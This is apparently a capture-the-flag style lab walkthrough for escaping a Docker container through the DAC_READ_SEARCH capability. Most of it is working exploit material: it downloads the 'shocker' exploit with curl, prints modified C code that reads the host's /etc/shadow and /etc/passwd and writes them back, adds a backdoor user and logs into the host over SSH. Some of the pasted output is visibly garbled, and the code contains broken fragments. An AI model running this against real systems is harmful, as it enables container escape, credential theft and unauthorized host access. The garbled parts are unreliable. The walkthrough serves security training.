
Lab: DAC_READ_SEARCH

Scenario:

You as an awesome fantastic hacker gain access to a shell inside a Docker container. After snooping around, you find that the container has a dangerous Linux capability which allows container escape. You abuse this to escape the container and gain SSH access to the Docker host.

Steps:	ALL CONNECTIONS
Connect to the 4 th machine:	>_ Container-1
	>_ Container-2
	>_ Container-3
	>_ Container-4
	Kali-RDP
	>_ Kali-SSH

After connecting notice that the container has the DAC_READ_SEARCH capability assigned to it:



Google for 'Docker dac_read_search breakout' and you'll notice a few exploits.

We will use the exploit mentioned in this blog: <u>https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3</u>

The script 'shocker.c' is available here: <u>http://stealth.openwall.net/xSports/shocker.c</u>

To get the script inside the container, either copy/paste it (might give some issues) or use: **curl** <u>http://stealth.openwall.net/xSports/shocker.c</u> > **shocker.c**



The script needs a mounted file to be able to work. By default is uses '/.dockerinit'. However, this file is not available in our container. Instead, look for which files are mounted from the hosts by running **mount**:

root@083e8eca233e:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/RZGGA3JJ5VQREEPZ4SZ2IDGCJB:/va
LT523DWME2RY3VSK2GP:/var/lib/docker/overlay2/l/T354RBL7G4DNP63C5QEBHZPTDT:/var/lib/docker/overlay2/l/70HX
affc52022a7aeb5976495b631696565db008/diff,workdir=/var/lib/docker/overlay2/34567235d73fa12d734b7a2a048baf
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
<pre>tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)</pre>
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
<pre>tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)</pre>
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/nvme0nlpl on /etc/resolv.conf type ext4 (rw,relatime,discard)
/dev/nvme0nlpl on /etc/hostname type ext4 (rw,relatime,discard)
/dev/nvme0nlpl on /etc/hosts type ext4 (rw,relatime,discard)
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/scsi type tmpfs (ro,relatime)
tmpfs on /sys/firmware type tmpfs (ro,relatime)

We found some!

Let's modify the script to use `/etc/hostname' instead of '/.dockerinit'.

Also modify the script to accept two arguments:

1. File to read on the host FS

2. name of the file to store its output

Basically rewrite the main() function to this:

```
int main(int argc, char* argv[])
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = { 0x02, 0, 0, 0, 0, 0, 0, 0 }
    };
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014[***]\n"
"[***] The tea from the 90's kicks your sekurity again.[***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
```



```
"[***] forward to my friends who drink secury-tea too![***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)</pre>
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)</pre>
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, 0_RDONLY)) < 0)</pre>
die("[-] open_by_handle");memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");</pre>
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr, "%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
```

Now compile the code: gcc shocker.c -o read_files

When compiled run: ./read_files /etc/shadow shadow Also fetch the passwd file: ./read_files /etc/passwd passwd Press enter and notice you now 'downloaded' the shadow file into your container:



root@083e8eca233e:~# ls
d ino read files shadow shocker.c startup.sh
root@083e8eca233e:~# cat shadow
root:*:18801:0:99999:7:::
daemon:*:18801:0:99999:7:::
bin:*:18801:0:99999:7:::
sys:*:18801:0:99999:7:::
sync:*:18801:0:99999:7:::
games:*:18801:0:99999:7:::
man:*:18801:0:99999:7:::
lp:*:18801:0:99999:7:::
mail:*:18801:0:99999:7:::
news:*:18801:0:99999:7:::
uucp:*:18801:0:99999:7:::
proxy:*:18801:0:99999:7:::
www-data:*:18801:0:99999:7:::
backup:*:18801:0:99999:7:::
list:*:18801:0:99999:7:::
irc:*:18801:0:99999:7:::
gnats:*:18801:0:99999:7:::
nobody:*:18801:0:99999:7:::
systemd-network:*:18801:0:99999:7::::
systemd-resolve:*:18801:0:99999:7::::
syslog:*:18801:0:99999:7:::
messagebus:*:18801:0:99999:7::::
_apt:*:18801:0:99999:7:::
lxd:*:18801:0:99999:7:::
uuidd:*:18801:0:99999:7:::
dnsmasq:*:18801:0:99999:7:::
landscape:*:18801:0:99999:7:::
sshd:*:18801:0:99999:7:::
pollinate:*:18801:0:99999:7:::
ubuntu:!:18817:0:99999:7:::



Know that our goal is to reach the host system!

Let's check our IP address: ifconfig

```
root@083e8eca233e:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
                                                mtu 1500
                      netmask 255.255.0.0 broadcast 172.17.255.255
       inet 172.17.0.3
       ether 02:42:ac:11:00:03 txgueuelen 0 (Ethernet)
       RX packets 9464 bytes 36110592 (36.1 MB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 8427 bytes 1804434 (1.8 MB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
.o: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       loop txqueuelen 1000 (Local Loopback)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 0 bytes 0 (0.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

In Docker, the host often creates a network interface that acts as gateway for the Docker network. This interface is usually on the first address of the IP range, 172.17.0.1.

SSH is open on the host. Check this with **ssh 172.17.0.1** or use your favorite network scanner.

Time to gain access to the host...

We have the shadow file, however it does not contain any crackable passwords. How about adding a user to the system?

We need write capabilities, but we have the default DAC_OVERRIDE capability! Lets create a new user in the container:

useradd john

echo 'john:password' | chpasswd

Now add the user to the shadow and passwd file:

tail -1 /etc/shadow >> shadow tail -1 /etc/passwd >> passwd

We can modify the password of the root user as well, however it might be that the host does not allow the root user to sign in with a password on SSH...



root@083e8eca233e:~# cat shadow
root:s656K5.h9]/\$0Tnld9GZ5cqYWZqV0fPvPFipmM0xwe.iqfXK7CFCFG4sK2jAVb.e0UGlWJM5EA191bW0et1i/V5PlFmMpUUqv0:18801:0:99999:7:::
Tou: 305001.0190901.0190901.0100901.010000000000
ulli · · i looti 0, 99999; / · : : : : : : : : : : : : : : : : : :
sys:*:16001:0:99999:/::: sync:*:18801:0:99999:7:::
Synt: **:16801:0:99999:7::: ames:*:18801:0:99999:7:::
games: ":100010:99999;/::: man:*:18801:0:99999;/:::
lp:*:18801:0:99999:7::: mail:*:18801:0:99999:7:::
mait:~:16001:0:99999:7::: news:*:18801:0:99999:7:::
news:~:16001:0:99999:7::: uucp:*:18801:0:99999:7:::
ultp://100010/199999/7/:: proxy:*/18801/0/99999/7/::
www-data*118601.019999.71.::
www-uata16001.0.99999.7 backup:*18801.0.99999.7.::
List* 18801:0:99999:7:::
tist: 18801:0.999999.7.::
nats:*:18801.0:99999.7:::
gnats, 10001019999,7
systemd-network: 13881:0:99999:7:::
systemd-resolve:*:18801:0:99999:7:::
syslag *:18801.0:99999.7:::
messagebus:*:1880110:99999977:::
apt:*:18801:0:99999:7:::
uuidd:*:18801.0:99999.7:::
dismasq:*:18801:0:99999:7:::
landscape * :18801:0:99999:7:::
shd:*:18801:0:99999:7:::
pollinate:*:18801:0:99999:7:::
ubuntu:!:18817.0:99999.7:::
john:\$6\$6K5.h9j/\$0Tnld9GZ5CqYWZqV0fPvPFipmM0xwe.iqfXK7CFCFG4sK2jAVb.e0UGlWJM5EA191bW0et1i/V5PlFmMpUUqv0:18817:0:99999:7:::

Now it's time to write back the files to the host system. For this, copy shocker.c:

cp shocker.c shocker_write.c

Modify the script to write back the files in stead of reading them:

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) \% 20 == 0)
fprintf(stderr,"\n");
```



```
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih,
struct my_file_handle
*oh){
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, 0_RDONLY)) < 0)</pre>
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\
n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {</pre>
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
closedir(dir);
close(fd);
```



```
return 0;
int main(int argc, char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014[***]\n"
"[***] The tea from the 90's kicks your sekurity again.[***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too![***]\n\n<enter>\n");
read(0, buf, 1);
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)</pre>
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)</pre>
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDWR)) < 0)</pre>
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE *fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline(&line, &len, fptr)) != -1) {
write(fd2, line, read);
printf("Success!!\n");
close(fd2); close(fd1);
return 0;
}
```

Compile the code: **gcc shocker_write.c -o write_files** (Ignore the warning it might give)

Now we can write back files to the host using: ./write_files <destination> <local file>

Lets write back the shadow and password files: ./write_file /etc/shadow shadow ./write_file /etc/passwd passwd

Try to SSH to the machine with the newly created user:



root@083e8eca233e:~# ssh john@172.17.0.1 john@172.17.0.1's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1051-aws x86 64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jul 9 09:17:27 UTC 2021 129 System load: 0.03 Processes: Usage of /: 45.6% of 7.69GB Users logged in: IP address for ens5: 10.0.10.10 IP address for docker0: 172.17.0.1 Memory usage: 34% Swap usage: 0% 5 updates can be applied immediately. To see these additional updates run: apt list --upgradable New release '20.04.2 LTS' available. Run 'do-release-upgrade' to upgrade to it. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jul 9 09:16:19 2021 from 172.17.0.3 Could not chdir to home directory /home/john: No such file or directory

